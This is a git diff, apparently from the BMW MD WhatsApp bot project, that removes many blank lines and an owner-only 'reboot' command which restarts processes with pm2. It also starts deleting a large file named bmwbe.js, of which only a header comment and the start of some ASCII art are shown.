-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-const {adams}=require("../Ibrahim/adams")
-
-
-
-
-
-
-
-adams({nomCom:"reboot",categorie:"Mods",reaction:"👨🏿💼"},async(dest,z,com)=>{
-
-
-
-const{repondre,ms,dev,superUser}=com;
-
- if(!superUser)
- {
- return repondre("This command is for owner only");
- }
-
- const {exec}=require("child_process")
-
- repondre("*restarting ...*");
-
- exec("pm2 restart all");
-
-
-
-
-
-
-})
diff --git a/scs/bmwbe.js b/scs/bmwbe.js
deleted file mode 100644
index 7cd1626..0000000
--- a/scs/bmwbe.js
+++ /dev/null
@@ -1,15321 +0,0 @@
-/**
-Yoo bro what au looking for
-Just deploy the bot with original repo
-
-BMW MD
-
-Made by dev Ibrahim Adams
-
-
- _.u[[/;:,. .odMMMMMM'
